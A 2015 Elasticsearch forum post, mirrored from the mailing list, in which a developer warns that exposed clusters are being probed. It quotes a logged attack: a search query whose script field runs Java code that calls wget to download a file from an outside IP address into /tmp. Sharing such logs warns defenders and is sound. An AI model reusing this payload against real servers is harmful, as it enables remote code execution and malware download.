# Warning: Exploiting attempts for ES

**URL:** <https://discuss.elastic.co/t/warning-exploiting-attempts-for-es/23276>\
**Category:** Elasticsearch\
**Created:** [April 16, 2015, 2:56pm UTC](https://discuss.elastic.co/t/warning-exploiting-attempts-for-es/23276 "2015-04-16T14:56:11Z")\
**Posts on this page:** 2\
**Page:** 1

<div class="post-metadata">

**Author:** ![Eike\_Dehling](https://avatars.discourse-cdn.com/v4/letter/e/bbce88/32.png) [@Eike\_Dehling](https://discuss.elastic.co/u/Eike_Dehling)\
**Post date:** [April 16, 2015, 2:56pm UTC](https://discuss.elastic.co/t/warning-exploiting-attempts-for-es/23276/1 "2015-04-16T14:56:11Z")

</div>

In case your elasticsearch cluster is internet-accessible: Be aware folks  
on the internet are probably trying to exploit it...

Found this in our logging today (This is only our staging environment  
fortunately):

Caused by: org.elasticsearch.search.SearchParseException:  
[logstash-2015.04.15][0]: query[ConstantScore(_:_)],from[-1],size[-1]:  
Parse Failure [Failed to parse source [{"query": {"filtered": {"query":  
{"match\_all": {}}}}, "script\_fields": {"exp": {"script": "import  
java.util._;import java.io._;String str = "";BufferedReader br = new  
BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("wget -O  
/tmp/ruvn [http://122.224.48.28:8000/ruvn](http://122.224.48.28:8000/ruvn)").getInputStream()));StringBuilder  
sb = new  
StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append("\r\n");}sb.toString();"}},  
"size": 1}]]

--  
Met vriendelijke groet,  
Kind regards,

Eike Dehling  
Lead Developer

Buzzcapture  
Herengracht 180, 1016 BR, Amsterdam

T: +31 (0)20 3200377  
M: +31 (0)6 45144840

LinkedIn | @buzzcapture

Recent

11-03-2015: Donderdag 26 maart organiseert Buzzcapture #Buzz15  
[https://www.buzzcapture.com/2015/03/buzz15-met-linkedin-uwv-en-anp/](https://www.buzzcapture.com/2015/03/buzz15-met-linkedin-uwv-en-anp/) in de  
Hermitage te Amsterdam  
02-03-2015: Buzzcapture breidt webcaredienstverlening uit  
[http://www.buzzcapture.com/2015/03/buzzcapture-breidt-webcaredienstverlening-uit-met-whatsapp/](http://www.buzzcapture.com/2015/03/buzzcapture-breidt-webcaredienstverlening-uit-met-whatsapp/)  
met  
WhatsApp  
01-03-2014: Veel bestaande klanten integreren print  
[https://www.buzzcapture.com/blog/buzzcapture-biedt-en-online-geintegreerde-monitoring-aan/](https://www.buzzcapture.com/blog/buzzcapture-biedt-en-online-geintegreerde-monitoring-aan/)  
content  
in Social Media Dashboard  
26-02-2015: Buzzcapture te horen op Radio 1  
[https://www.buzzcapture.com/2015/02/banendag-op-twitter-hoe-vind-je-een-baan-via-jouwbaan/](https://www.buzzcapture.com/2015/02/banendag-op-twitter-hoe-vind-je-een-baan-via-jouwbaan/)over  
Banendag op Twitter

--  
You received this message because you are subscribed to the Google Groups "elasticsearch" group.  
To unsubscribe from this group and stop receiving emails from it, send an email to [elasticsearch+unsubscribe@googlegroups.com](mailto:elasticsearch+unsubscribe@googlegroups.com).  
To view this discussion on the web visit [https://groups.google.com/d/msgid/elasticsearch/CAMp7VWR4DTUri2gdkN3sMScpeXEo6isEi\_%2BSHbu5vtYJmxh7pw%40mail.gmail.com](https://groups.google.com/d/msgid/elasticsearch/CAMp7VWR4DTUri2gdkN3sMScpeXEo6isEi_%2BSHbu5vtYJmxh7pw%40mail.gmail.com).  
For more options, visit [https://groups.google.com/d/optout](https://groups.google.com/d/optout).

---

<div class="post-metadata">

**Author:** ![system](https://us1.discourse-cdn.com/elastic/original/3X/1/a/1ac57faf039f6b580b3f104ef42a2a89e41014de.png) [@system](https://discuss.elastic.co/u/system)\
**Post date:** [July 6, 2017, 12:19am UTC](https://discuss.elastic.co/t/warning-exploiting-attempts-for-es/23276/2 "2017-07-06T00:19:18Z")

</div>